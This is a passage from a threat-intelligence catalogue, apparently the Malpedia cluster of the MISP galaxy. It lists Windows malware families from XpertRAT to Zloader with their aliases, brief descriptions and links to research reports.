https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/
https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis

XpertRAT

The tag is: *misp-galaxy:malpedia="XpertRAT"*

XpertRAT is also known as:

Table 3456. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat
https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration
https://labs.k7computing.com/?p=15672
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html

XP PrivEsc (CVE-2014-4076)

The tag is: *misp-galaxy:malpedia="XP PrivEsc (CVE-2014-4076)"*

XP PrivEsc (CVE-2014-4076) is also known as:

Table 3457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xp_privesc
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf

XServer

The tag is: *misp-galaxy:malpedia="XServer"*

XServer is also known as:

- Filesnfer

Table 3458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xserver
https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf
https://norfolkinfosec.com/filesnfer-tool-c-python/

xsPlus

The tag is: *misp-galaxy:malpedia="xsPlus"*

xsPlus is also known as:

- nokian

Table 3459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf

XTunnel

X-Tunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.

The tag is: *misp-galaxy:malpedia="XTunnel"*

XTunnel is also known as:

- Shunnael
- X-Tunnel
- xaps

Table 3460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

X-Tunnel (.NET)

This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.

The tag is: *misp-galaxy:malpedia="X-Tunnel (.NET)"*

X-Tunnel (.NET) is also known as:

Table 3461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28

Xwo

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

The tag is: *misp-galaxy:malpedia="Xwo"*

Xwo is also known as:

Table 3462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo
https://www.alienvault.com/blogs/labs-research/xwo-a-python-based-bot-scanner

xxmm

The tag is: *misp-galaxy:malpedia="xxmm"*

xxmm is also known as:

- ShadowWalker

Table 3463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_8_nakatsuru_en.pdf
https://www.secureworks.com/research/threat-profiles/bronze-butler
https://www.macnica.net/mpressioncss/feature_05.html/
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://www.cybereason.com/blog/labs-shadowwali-new-variant-of-the-xxmm-family-of-backdoors
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Yahoyah

The tag is: *misp-galaxy:malpedia="Yahoyah"*

Yahoyah is also known as:

- KeyBoy

Table 3464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Yakuza

Ransomware.

The tag is: *misp-galaxy:malpedia="Yakuza"*

Yakuza is also known as:

- Teslarvng Ransomware

Table 3465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware
https://id-ransomware.blogspot.com/2020/03/teslarvng-ransomware.html

YamaBot

The tag is: *misp-galaxy:malpedia="YamaBot"*

YamaBot is also known as:

- Kaos

Table 3466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yamabot
https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html?m=1
https://blogs.jpcert.or.jp/en/2022/07/yamabot.html

Yanluowang

Ransomware.

The tag is: *misp-galaxy:malpedia="Yanluowang"*

Yanluowang is also known as:

Table 3467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html
https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware

YaRAT

According to PTSecurity, this RAT uses Yandex Disk as a C2.

The tag is: *misp-galaxy:malpedia="YaRAT"*

YaRAT is also known as:

Table 3468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks

Yarraq

Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for $2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: cyborgyarraq@protonmail.ch is provided.

The tag is: *misp-galaxy:malpedia="Yarraq"*

Yarraq is also known as:

Table 3469. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yarraq
https://twitter.com/GrujaRS/status/1210541690349662209
https://yomi.yoroi.company/report/5e1d7b06c21640608183de58/5e1d7b09d1cc4993da62f261/overview

Yatron

The tag is: *misp-galaxy:malpedia="Yatron"*

Yatron is also known as:

Table 3470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yatron
https://securelist.com/ransomware-two-pieces-of-good-news/93355/

yayih

The tag is: *misp-galaxy:malpedia="yayih"*

yayih is also known as:

- aumlib
- bbsinfo

Table 3471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

Yellow Cockatoo RAT

The tag is: *misp-galaxy:malpedia="Yellow Cockatoo RAT"*

Yellow Cockatoo RAT is also known as:

- Polazer

Table 3472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yellow_cockatoo
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf
https://redcanary.com/blog/yellow-cockatoo/

Yoddos

The tag is: *misp-galaxy:malpedia="Yoddos"*

Yoddos is also known as:

Table 3473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos
https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf

YoreKey

The tag is: *misp-galaxy:malpedia="YoreKey"*

YoreKey is also known as:

Table 3474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey
https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-threat-insight-paper-triple-threat-N-Korea-aligned-TA406-steals-scams-spies.pdf
https://www.proofpoint.com/us/blog/threat-insight/triple-threat-north-korea-aligned-ta406-scams-spies-and-steals

YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

The tag is: *misp-galaxy:malpedia="YoungLotus"*

YoungLotus is also known as:

- DarkShare

Table 3475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus
https://www.youtube.com/watch?v=AUGxYhE_CUY

YourCyanide

According to Trend Micro, this is a ransomware written as a Windows commandline script, with obfuscation applied.

The tag is: *misp-galaxy:malpedia="YourCyanide"*

YourCyanide is also known as:

- GonnaCope
- Kekpop
- Kekware

Table 3476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.your_cyanide
https://www.trendmicro.com/en_us/research/22/f/yourcyanide-a-cmd-based-ransomware.html

YTStealer

The tag is: *misp-galaxy:malpedia="YTStealer"*

YTStealer is also known as:

Table 3477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.intezer.com/blog/research/ytstealer-malware-youtube-cookies/

yty

The tag is: *misp-galaxy:malpedia="yty"*

yty is also known as:

Table 3478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yty
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
http://blog.ptsecurity.com/2019/11/studying-donot-team.html
https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/
https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/
https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf
https://www.secureworks.com/research/threat-profiles/zinc-emerson
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

Yunsip

W32/Yunsip!tr.pws is classified as a password stealing trojan. Password Stealing Trojan searches the infected system for passwords and send them to the hacker.

The tag is: *misp-galaxy:malpedia="Yunsip"*

Yunsip is also known as:

Table 3479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yunsip
https://www.fortiguard.com/encyclopedia/virus/3229143

Z3

Ransomware.

The tag is: *misp-galaxy:malpedia="Z3"*

Z3 is also known as:

- Z3enc Ransomware

Table 3480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.z3
https://id-ransomware.blogspot.com/2020/08/z3-ransomware.html

Zacinlo

Bitdefender describes the primary features of the family as follows: Presence of a rootkit driver that protects itself as well as its other components, presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications, and presence of an adware cleanup routine used to remove potential competition in the adware space. It also communicates with its C&C server, sending environment information such as installed AV and other applications. The malware also takes screenshots and does browser redirects, potentially manipulating the DOM tree. It also creates traffic in hidden windows, likely causing adfraud. The malware is generally very configurable and internally makes use of Lua scripts.

The tag is: *misp-galaxy:malpedia="Zacinlo"*

Zacinlo is also known as:

- s5mark

Table 3481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zacinlo
https://labs.bitdefender.com/wp-content/uploads/downloads/six-years-and-counting-inside-the-complex-zacinlo-ad-fraud-operation/

Zebrocy

The tag is: *misp-galaxy:malpedia="Zebrocy"*

Zebrocy is also known as:

- Zekapab

Table 3482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy
https://securelist.com/zebrocys-multilanguage-malware-salad/90680/
https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/
https://unit42.paloaltonetworks.com/atoms/fighting-ursa/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://brandefense.io/zebrocy-malware-technical-analysis-report/
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html
https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g

https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/
https://meltx0r.github.io/tech/2019/10/24/apt28.html
https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og
https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/
https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html
https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/
https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://securelist.com/a-zebrocy-go-downloader/89419/
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/

Zebrocy (AutoIT)

The tag is: *misp-galaxy:malpedia="Zebrocy (AutoIT)"*

Zebrocy (AutoIT) is also known as:

Table 3483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
https://www.secureworks.com/research/threat-profiles/iron-twilight

Zedhou

The tag is: *misp-galaxy:malpedia="Zedhou"*

Zedhou is also known as:

Table 3484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou

zenar

The tag is: *misp-galaxy:malpedia="zenar"*

zenar is also known as:

Table 3485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar
https://twitter.com/3xp0rtblog/status/1387996083712888832?s=20

Zeoticus

The tag is: *misp-galaxy:malpedia="Zeoticus"*

Zeoticus is also known as:

Table 3486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus
https://labs.sentinelone.com/zeoticus-2-0-ransomware-with-no-c2-required/

Zeppelin

Zeppelin is a ransomware written in Delphi and sold a as-a-service. The Cylance research team notes that it is a clear evolution of the known VegaLocker, but they assessed it as a new family becaue of additionally developed modules that makes Zeppelin much more configurable than Vegalocker. There are executable variants of type DLL and EXE.

The tag is: *misp-galaxy:malpedia="Zeppelin"*

Zeppelin is also known as:

Table 3487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeppelin
https://threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.cisa.gov/uscert/ncas/alerts/aa22-223a
https://www.gdatasoftware.com/blog/2020/06/35946-burans-transformation-into-zeppelin
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://storage.pardot.com/272312/124918/Flashpoint_Hunt_Team_*Zeppelin_Ransomware_Analysis.pdf[https://storage.pardot.com/272312/124918/Flashpoint_Hunt_Team*_Zeppelin_Ransomware_Analysis.pdf]
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-223A_Zeppelin_CSA.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

ZeroAccess

The tag is: *misp-galaxy:malpedia="ZeroAccess"*

ZeroAccess is also known as:

- Max++
- Sirefef
- Smiscer

Table 3488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess
http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html
https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail

http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/
http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/
https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/
http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/
http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/
http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html
https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/
https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/

ZeroCleare

ZeroCleare is a destructive malware. It has been developed in order to wipe the master boot record section in order to damage a disk's partitioning. Attackers use the EldoS RawDisk driver to perform the malicious action, which is not a signed driver and would therefore not runnable by default. The attackers managed to install it by using a vulnerable version of VBoxDrv driver, which the DSE accepts and runs. Used to attack middle-east energy and industrial sectors.

The tag is: *misp-galaxy:malpedia="ZeroCleare"*

ZeroCleare is also known as:

Table 3489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare
https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.ibm.com/downloads/cas/OAJ4VZNJ

ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).

The tag is: *misp-galaxy:malpedia="ZeroEvil"*

ZeroEvil is also known as:

Table 3490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

ZeroLocker

The tag is: *misp-galaxy:malpedia="ZeroLocker"*

ZeroLocker is also known as:

Table 3491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerolocker
http://stopmalvertising.com/malware-reports/introduction-to-the-zerolocker-ransomware.html

ZeroT

The tag is: *misp-galaxy:malpedia="ZeroT"*

ZeroT is also known as:

Table 3492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

Zeus

The tag is: *misp-galaxy:malpedia="Zeus"*

Zeus is also known as:

- Zbot

Table 3493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/
http://eternal-todo.com/blog/detecting-zeus
https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite
http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.secureworks.com/research/threat-profiles/bronze-woodland
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf
https://www.mnin.org/write/ZeusMalware.pdf
https://www.secureworks.com/research/zeus?threat=zeus
https://blog.malwarebytes.com/101/2021/07/the-life-and-death-of-the-zeus-trojan/
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
http://eternal-todo.com/blog/new-zeus-binary
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html
https://www.wired.com/2017/03/russian-hacker-spy-botnet/
http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html
http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html
https://www.secureworks.com/research/threat-profiles/gold-evergreen
http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://nakedsecurity.sophos.com/2010/07/24/sample-run/
https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://www.s21sec.com/en/zeus-the-missing-link/
http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html
http://eternal-todo.com/blog/zeus-spreading-facebook
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.anomali.com/files/white-papers/russian-federation-country-profile.pdf

ZeusAction

The tag is: *misp-galaxy:malpedia="ZeusAction"*

ZeusAction is also known as:

Table 3494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action
https://www.youtube.com/watch?v=EyDiIAt*dI[https://www.youtube.com/watch?v=EyDiIAt*dI]
https://twitter.com/benkow_/status/1136983062699487232

Zeus MailSniffer

The tag is: *misp-galaxy:malpedia="Zeus MailSniffer"*

Zeus MailSniffer is also known as:

Table 3495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer

Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2

MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: *misp-galaxy:malpedia="Zeus OpenSSL"*

Zeus OpenSSL is also known as:

- XSphinx

Table 3496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl
https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/

Zeus Sphinx

This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: *misp-galaxy:malpedia="Zeus Sphinx"*

Zeus Sphinx is also known as:

Table 3497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx
https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html
https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/
https://securityintelligence.com/posts/zeus-sphinx-back-in-business-some-core-modifications-arise/

Zezin

The tag is: *misp-galaxy:malpedia="Zezin"*

Zezin is also known as:

Table 3498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin
https://twitter.com/siri_urz/status/923479126656323584

zgRAT

The tag is: *misp-galaxy:malpedia="zgRAT"*

zgRAT is also known as:

Table 3499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat
https://bazaar.abuse.ch/browse/signature/zgRAT/

ZhCat

The tag is: *misp-galaxy:malpedia="ZhCat"*

ZhCat is also known as:

Table 3500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat

https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

ZhMimikatz

The tag is: *misp-galaxy:malpedia="ZhMimikatz"*

ZhMimikatz is also known as:

Table 3501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf

ZingoStealer

An information stealer written in .NET.

The tag is: *misp-galaxy:malpedia="ZingoStealer"*

ZingoStealer is also known as:

- Ginzo

Table 3502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zingo_stealer
https://blogs.blackberry.com/en/2022/05/threat-thursday-zingostealer

ZitMo

The tag is: *misp-galaxy:malpedia="ZitMo"*

ZitMo is also known as:

- ZeuS-in-the-Mobile

Table 3503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo
https://securelist.com/zeus-in-the-mobile-facts-and-theories/36424/
https://mobisec.reyammer.io/slides

ZiyangRAT

The tag is: *misp-galaxy:malpedia="ZiyangRAT"*

ZiyangRAT is also known as:

Table 3504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Zloader

This family describes the (initially small) loader, which downloads Zeus OpenSSL.

